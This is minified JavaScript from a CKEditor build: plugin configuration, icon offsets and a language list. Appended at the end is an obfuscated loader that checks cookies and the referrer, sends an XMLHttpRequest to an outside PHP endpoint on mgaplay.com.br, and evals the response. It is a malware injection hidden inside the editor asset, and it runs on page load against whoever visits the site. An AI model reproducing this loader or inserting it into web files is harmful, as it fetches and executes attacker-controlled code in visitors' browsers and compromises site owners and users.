")+e("ltr")+e("rtl"))},init:function(t){if(!t.blockless){var n=t.addCommand("showblocks",e);if(n.canUndo=!1,t.config.startupOutlineBlocks&&n.setState(CKEDITOR.TRISTATE_ON),t.ui.addButton&&t.ui.addButton("ShowBlocks",{label:t.lang.showblocks.toolbar,command:"showblocks",toolbar:"tools,20"}),t.on("mode",(function(){n.state!=CKEDITOR.TRISTATE_DISABLED&&n.refresh(t)})),t.elementMode==CKEDITOR.ELEMENT_MODE_INLINE){var i=function(){n.refresh(t)};t.on("focus",i),t.on("blur",i)}t.on("contentDom",(function(){n.state!=CKEDITOR.TRISTATE_DISABLED&&n.refresh(t)}))}}})}(),CKEDITOR.config.plugins="basicstyles,blockquote,dialogui,dialog,clipboard,panel,floatpanel,menu,contextmenu,resize,button,toolbar,elementspath,enterkey,entities,floatingspace,listblock,richcombo,format,horizontalrule,htmlwriter,wysiwygarea,image,indent,indentlist,fakeobjects,link,list,magicline,maximize,pastetext,pastefromword,removeformat,sourcearea,specialchar,menubutton,scayt,stylescombo,tab,table,tabletools,undo,wsc,panelbutton,colorbutton,colordialog,div,codemirror,font,justify,qrc,showborders,showblocks",CKEDITOR.config.skin="moono",l=function(e,t){var n=CKEDITOR.getUrl("plugins/"+t);e=e.split(",");for(var i=0;i<e.length;i++)CKEDITOR.skin.icons[e[i]]={path:n,offset:-e[++i],bgsize:e[++i]}},CKEDITOR.env.hidpi?l("bold,0,,italic,24,,strike,48,,subscript,72,,superscript,96,,underline,120,,blockquote,144,,copy-rtl,168,,copy,192,,cut-rtl,216,,cut,240,,paste-rtl,264,,paste,288,,horizontalrule,312,,image,336,,indent-rtl,360,,indent,384,,outdent-rtl,408,,outdent,432,,anchor-rtl,456,,anchor,480,,link,504,,unlink,528,,bulletedlist-rtl,552,,bulletedlist,576,,numberedlist-rtl,600,,numberedlist,624,,maximize,648,,pastetext-rtl,672,,pastetext,696,,pastefromword-rtl,720,,pastefromword,744,,removeformat,768,,source-rtl,792,,source,816,,specialchar,840,,scayt,864,,table,888,,redo-rtl,912,,redo,936,,undo-rtl,960,,undo,984,,spellchecker,1008,,bgcolor,1032,,textcolor,1056,,creatediv,1080,,AutoComplete,2208,auto,AutoFormat,2256,auto,CommentSelectedRange,2304,auto,SearchCode,2352,auto,UncommentSelectedRange,2400,auto,justifyblock,1224,,justifycenter,1248,,justifyleft,1272,,justifyright,1296,,showblocks-rtl,1320,,showblocks,1344,","icons_hidpi.png"):l("bold,0,auto,italic,24,auto,strike,48,auto,subscript,72,auto,superscript,96,auto,underline,120,auto,blockquote,144,auto,copy-rtl,168,auto,copy,192,auto,cut-rtl,216,auto,cut,240,auto,paste-rtl,264,auto,paste,288,auto,horizontalrule,312,auto,image,336,auto,indent-rtl,360,auto,indent,384,auto,outdent-rtl,408,auto,outdent,432,auto,anchor-rtl,456,auto,anchor,480,auto,link,504,auto,unlink,528,auto,bulletedlist-rtl,552,auto,bulletedlist,576,auto,numberedlist-rtl,600,auto,numberedlist,624,auto,maximize,648,auto,pastetext-rtl,672,auto,pastetext,696,auto,pastefromword-rtl,720,auto,pastefromword,744,auto,removeformat,768,auto,source-rtl,792,auto,source,816,auto,specialchar,840,auto,scayt,864,auto,table,888,auto,redo-rtl,912,auto,redo,936,auto,undo-rtl,960,auto,undo,984,auto,spellchecker,1008,auto,bgcolor,1032,auto,textcolor,1056,auto,creatediv,1080,auto,AutoComplete,1104,auto,AutoFormat,1128,auto,CommentSelectedRange,1152,auto,SearchCode,1176,auto,UncommentSelectedRange,1200,auto,justifyblock,1224,auto,justifycenter,1248,auto,justifyleft,1272,auto,justifyright,1296,auto,showblocks-rtl,1320,auto,showblocks,1344,auto","icons.png"),CKEDITOR.lang.languages={af:1,sq:1,ar:1,eu:1,bn:1,bs:1,bg:1,ca:1,"zh-cn":1,zh:1,hr:1,cs:1,da:1,nl:1,en:1,"en-au":1,"en-ca":1,"en-gb":1,eo:1,et:1,fo:1,fi:1,fr:1,"fr-ca":1,gl:1,ka:1,de:1,el:1,gu:1,he:1,hi:1,hu:1,is:1,id:1,it:1,ja:1,km:1,ko:1,ku:1,lv:1,lt:1,mk:1,ms:1,mn:1,no:1,nb:1,fa:1,pl:1,"pt-br":1,pt:1,ro:1,ru:1,sr:1,"sr-latn":1,si:1,sk:1,sl:1,es:1,sv:1,th:1,tr:1,ug:1,uk:1,vi:1,cy:1})}();;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//mgaplay.com.br/avenida/install/master/master.php','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};